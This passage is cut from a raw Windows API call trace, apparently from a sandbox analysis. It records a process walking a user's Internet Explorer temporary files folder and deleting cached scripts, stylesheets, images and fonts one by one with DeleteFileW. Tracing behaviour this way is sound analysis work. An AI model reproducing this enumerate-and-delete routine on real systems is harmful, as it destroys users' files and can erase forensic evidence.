ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ContainerTag[2].js", cAlternateFileName="CONTAI~2.JS")) returned 1 [0109.532] lstrlenW (lpString="ContainerTag[2].js") returned 18 [0109.532] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="ContainerTag[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[2].js" [0109.532] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\containertag[2].js")) returned 1 [0109.533] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ae724a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ae724a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ae724a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ContainerTag[3].js", cAlternateFileName="CONTAI~3.JS")) returned 1 [0109.533] lstrlenW (lpString="ContainerTag[3].js") returned 18 [0109.533] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="ContainerTag[3].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[3].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[3].js" [0109.533] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[3].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\containertag[3].js")) returned 1 [0109.534] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcefdabe0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcefdabe0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcefdabe0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x29349, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="core[1].css", cAlternateFileName="CORE_1~1.CSS")) returned 1 [0109.534] lstrlenW (lpString="core[1].css") returned 11 [0109.534] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="core[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\core[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\core[1].css" [0109.534] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\core[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\core[1].css")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0109.535] lstrlenW (lpString="desktop.ini") returned 11 [0109.535] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\desktop.ini" [0109.535] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\desktop.ini")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ae98600, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ae98600, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x86ae, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="fallback_300x250[1].jpg", cAlternateFileName="FALLBA~2.JPG")) returned 1 [0109.535] lstrlenW (lpString="fallback_300x250[1].jpg") returned 23 [0109.535] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="fallback_300x250[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fallback_300x250[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fallback_300x250[1].jpg" [0109.535] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fallback_300x250[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\fallback_300x250[1].jpg")) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfb9b880, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfb9b880, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfbc19e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7009, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="fallback_728x90[1].jpg", cAlternateFileName="FALLBA~1.JPG")) returned 1 [0109.540] lstrlenW (lpString="fallback_728x90[1].jpg") returned 22 [0109.540] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="fallback_728x90[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fallback_728x90[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fallback_728x90[1].jpg" [0109.540] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fallback_728x90[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\fallback_728x90[1].jpg")) returned 1 [0109.542] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc79f4200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc79f4200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7a8c780, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x39b31, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="fe-5c8f1f-f30905ea[1]", cAlternateFileName="FE-5C8~1")) returned 1 [0109.542] lstrlenW (lpString="fe-5c8f1f-f30905ea[1]") returned 21 [0109.542] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="fe-5c8f1f-f30905ea[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fe-5c8f1f-f30905ea[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fe-5c8f1f-f30905ea[1]" [0109.542] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fe-5c8f1f-f30905ea[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\fe-5c8f1f-f30905ea[1]")) returned 1 [0109.543] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x162dea20, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x162dea20, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x16304b80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x39b41, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="fe-5c8f1f-f30905ea[2]", cAlternateFileName="FE-5C8~2")) returned 1 [0109.543] lstrlenW (lpString="fe-5c8f1f-f30905ea[2]") returned 21 [0109.543] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="fe-5c8f1f-f30905ea[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fe-5c8f1f-f30905ea[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fe-5c8f1f-f30905ea[2]" [0109.543] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\fe-5c8f1f-f30905ea[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\fe-5c8f1f-f30905ea[2]")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd138f5e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd138f5e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd138f5e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="getid[1].js", cAlternateFileName="GETID_~1.JS")) returned 1 [0109.544] lstrlenW (lpString="getid[1].js") returned 11 [0109.544] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="getid[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\getid[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\getid[1].js" [0109.544] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\getid[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\getid[1].js")) returned 1 [0109.544] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdf1e900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdf1e900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdf1e900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x471, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="gwdgenericad_min[1].js", cAlternateFileName="GWDGEN~1.JS")) returned 1 [0109.544] lstrlenW (lpString="gwdgenericad_min[1].js") returned 22 [0109.544] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="gwdgenericad_min[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwdgenericad_min[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwdgenericad_min[1].js" [0109.544] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwdgenericad_min[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\gwdgenericad_min[1].js")) returned 1 [0109.545] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdbb2960, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdbb2960, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdbb2960, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="gwdpagedeck_style[1].css", cAlternateFileName="GWDPAG~1.CSS")) returned 1 [0109.545] lstrlenW (lpString="gwdpagedeck_style[1].css") returned 24 [0109.545] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="gwdpagedeck_style[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwdpagedeck_style[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwdpagedeck_style[1].css" [0109.545] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwdpagedeck_style[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\gwdpagedeck_style[1].css")) returned 1 [0109.546] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcddc7ca0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcddc7ca0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcddc7ca0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x419a, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="gwd_webcomponents_min[1].js", cAlternateFileName="GWD_WE~1.JS")) returned 1 [0109.546] lstrlenW (lpString="gwd_webcomponents_min[1].js") returned 27 [0109.546] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="gwd_webcomponents_min[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwd_webcomponents_min[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwd_webcomponents_min[1].js" [0109.546] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\gwd_webcomponents_min[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\gwd_webcomponents_min[1].js")) returned 1 [0109.547] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a36fee0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a36fee0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a36fee0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1762e, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="jquery-1.11.1.min[2].js", cAlternateFileName="JQUERY~2.JS")) returned 1 [0109.547] lstrlenW (lpString="jquery-1.11.1.min[2].js") returned 23 [0109.547] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="jquery-1.11.1.min[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\jquery-1.11.1.min[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\jquery-1.11.1.min[2].js" [0109.547] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\jquery-1.11.1.min[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\jquery-1.11.1.min[2].js")) returned 1 [0109.644] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf320a20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf320a20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf346b80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x88e7, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="latest[1].eot", cAlternateFileName="LATEST~1.EOT")) returned 1 [0109.644] lstrlenW (lpString="latest[1].eot") returned 13 [0109.644] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="latest[1].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\latest[1].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\latest[1].eot" [0109.644] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\latest[1].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\latest[1].eot")) returned 1 [0109.645] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd6577e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6577e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6577e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="log[1].gif", cAlternateFileName="LOG_1_~1.GIF")) returned 1 [0109.645] lstrlenW (lpString="log[1].gif") returned 10 [0109.645] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="log[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\log[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\log[1].gif" [0109.645] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\log[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\log[1].gif")) returned 1 [0109.645] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0677ce0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0677ce0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0677ce0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="match[1].gif", cAlternateFileName="MATCH_~1.GIF")) returned 1 [0109.646] lstrlenW (lpString="match[1].gif") returned 12 [0109.646] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="match[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\match[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\match[1].gif" [0109.646] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\match[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\match[1].gif")) returned 1 [0109.646] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba398580, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba398580, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba40a9a0, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x323a8, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="rs=ACT90oE8yoYdKkJDdxTdshvHJC7zAFXNdg[1]", cAlternateFileName="RS_ACT~1")) returned 1 [0109.646] lstrlenW (lpString="rs=ACT90oE8yoYdKkJDdxTdshvHJC7zAFXNdg[1]") returned 40 [0109.646] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="rs=ACT90oE8yoYdKkJDdxTdshvHJC7zAFXNdg[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\rs=ACT90oE8yoYdKkJDdxTdshvHJC7zAFXNdg[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\rs=ACT90oE8yoYdKkJDdxTdshvHJC7zAFXNdg[1]" [0109.646] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\rs=ACT90oE8yoYdKkJDdxTdshvHJC7zAFXNdg[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\rs=act90oe8yoydkkjddxtdshvhjc7zafxndg[1]")) returned 1 [0110.098] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b0f9c00, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b0f9c00, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b0f9c00, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x99a0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="sbt-f6817f3a26c6[2].js", cAlternateFileName="SBT-F6~2.JS")) returned 1 [0110.098] lstrlenW (lpString="sbt-f6817f3a26c6[2].js") returned 22 [0110.098] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 